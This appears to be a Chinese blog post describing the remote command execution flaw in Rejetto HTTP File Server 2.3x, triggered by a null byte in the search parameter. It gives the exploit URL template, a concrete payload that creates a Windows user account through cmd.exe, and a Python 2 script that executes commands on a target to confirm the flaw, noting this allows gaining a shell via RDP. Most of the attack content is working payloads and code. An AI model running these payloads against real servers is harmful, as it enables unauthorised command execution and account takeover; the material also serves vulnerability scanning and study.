zoukankan      html  css  js  c++  java
  • HFS的远程命令执行漏洞(RCE)

    一、HFS漏洞

    1、影响版本 : 2.3c以前的2.3x版本

    2、HFS:

    HFS是HTTP File Server,国外的一款HTTP 文件服务器软件,简单易上手。

    3、漏洞描述:

    HTTP File Server是一款专为个人用户所设计的HTTP文件服务器,它提供虚拟档案系统,支持新增、移除虚拟档案资料夹等。

    Rejetto HTTP File Server 2.3c及之前版本中的parserLib.pas文件中的‘findMacroMarker’函数中存在安全漏洞,该漏洞源于parserLib.pas文件没有正确处理空字节。远程攻击者可借助搜索操作中的‘%00’序列利用该漏洞执行任意程序。

    4、攻击payload及过程:

    4.1 Payload:http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c [Command-String].}

    4.2攻击过程实例:

    http://127.0.0.1:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}

    说明这个OK的前提是HFS以管理员权限运行: 

    5、payload:

     1 #-*- coding:utf-8 -*-
     2 
     3 """
     4 这个脚本是检测是否有HFS漏洞的
     5 当HFS版本处于2.3c机器之前的HFS2.3x版本均可以
     6 当HFS以管理员身份运行时候可以get-shell
     7 原理是创建一个新用户,设置密码和权限,然后你就可以RDP了
     8 """
     9 
    10 #引入依赖的包、库文件
    11 import time
    12 import uuid
    13 import requests
    14 from optparse import OptionParser
    15 
    16 
    17 #定义扫描类
    18 class HFSScanner:
    19     """
    20         HFS扫描类,原理是:
    21             (1)生成随机字符串,利用命令执行写入远端服务器的HFS.exe目录下的一个文件。
    22             (2)然后再次利用这里漏洞将文件内容读取出来放在响应报文的头部字段set-cookie中。
    23             (3)通过判断响应报文该字段是否包含随机字符串来确定是否存在漏洞
    24 
    25     """
    26     def __init__(self,target,port):
    27         """创建扫描类实例对象"""
    28         self.__randomflag = uuid.uuid1() #攻击验证随机标志字符串
    29         self.__attack_url = r"http://%s:%s/"%(str(target),str(port))+"?search==%00"+r"{.exec|cmd.exe /c del result}"+r"{"+".exec|cmd.exe /c echo>result "+str(self.__randomflag)+"."+"}"
    30         self.__verify_url = r"http://%s:%s/"%(str(target),str(port))+"?search==%00"+"{.cookie|out|value={.load|result.}.}"
    31 
    32 
    33     def __attack(self):
    34         """发送攻击报文,响应200后反回True"""
    35         try:
    36             response = requests.get(self.__attack_url,timeout=120)
    37         except Exception,reason:
    38             return False
    39         if response.status_code != 200:
    40             return False
    41         return True
    42 
    43     def __verify(self):
    44         """发送验证报文,判断set-cookie字段是否为随机标志字符串"""
    45         try:
    46             response = requests.get(self.__verify_url,timeout=120)
    47         except Exception,reason:
    48             return False
    49         if response.headers.get("set-cookie").find(str(self.__randomflag)) >= 0:
    50             return True
    51         else:
    52             return False
    53 
    54     def scan(self):
    55         """扫描函数"""
    56         print "[+] 开始测试..."
    57         if self.__attack():
    58             time.sleep(5)
    59             if self.__verify():
    60                 return True
    61         return False
    62 
    63 if __name__ == "__main__":
    64     parser = OptionParser("")
    65     parser.add_option("-t", dest="target",help="target to scan")
    66     parser.add_option("-p", dest="port",help="port to scan")
    67     (options, args) = parser.parse_args()
    68     if options.target in ["",None]:
    69         print "[-] 请输入正确的参数!"
    70         print """
    71             正确的使用方法:
    72             #python hfs_vuln_scan.py -t 127.0.0.1 [-p 8080]
    73         """
    74         exit(0)
    75     if options.port in ["",None] or int(options.port) <= 0 and int(options.port) > 65535:
    76         options.port = "80"
    77     scanner = HFSScanner(options.target,options.port)
    78     if scanner.scan():
    79         print "[*] 目标主机存在漏洞"
    80     else:
    81         print "[+] 目标主机不存在漏洞"
  • 相关阅读:
    Redis的四种模式,单机、主从、哨兵、集群
    .NET 跨域问题
    C# 利用正则表达式获取富文本框中所有图片路劲
    ActiveMQ入门实例(.NET)
    ActiveMQ的使用以及应用场景
    关于消息队列的使用方法(RocketMQ)
    Redis系列 需要注意事项
    .NET:在线悲观锁、在线乐观锁、离线悲观锁、离线乐观锁代码示例
    C# 简单介绍Redis使用
    API Get跟Post 的区别?
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8606163.html
Copyright © 2011-2022 走看看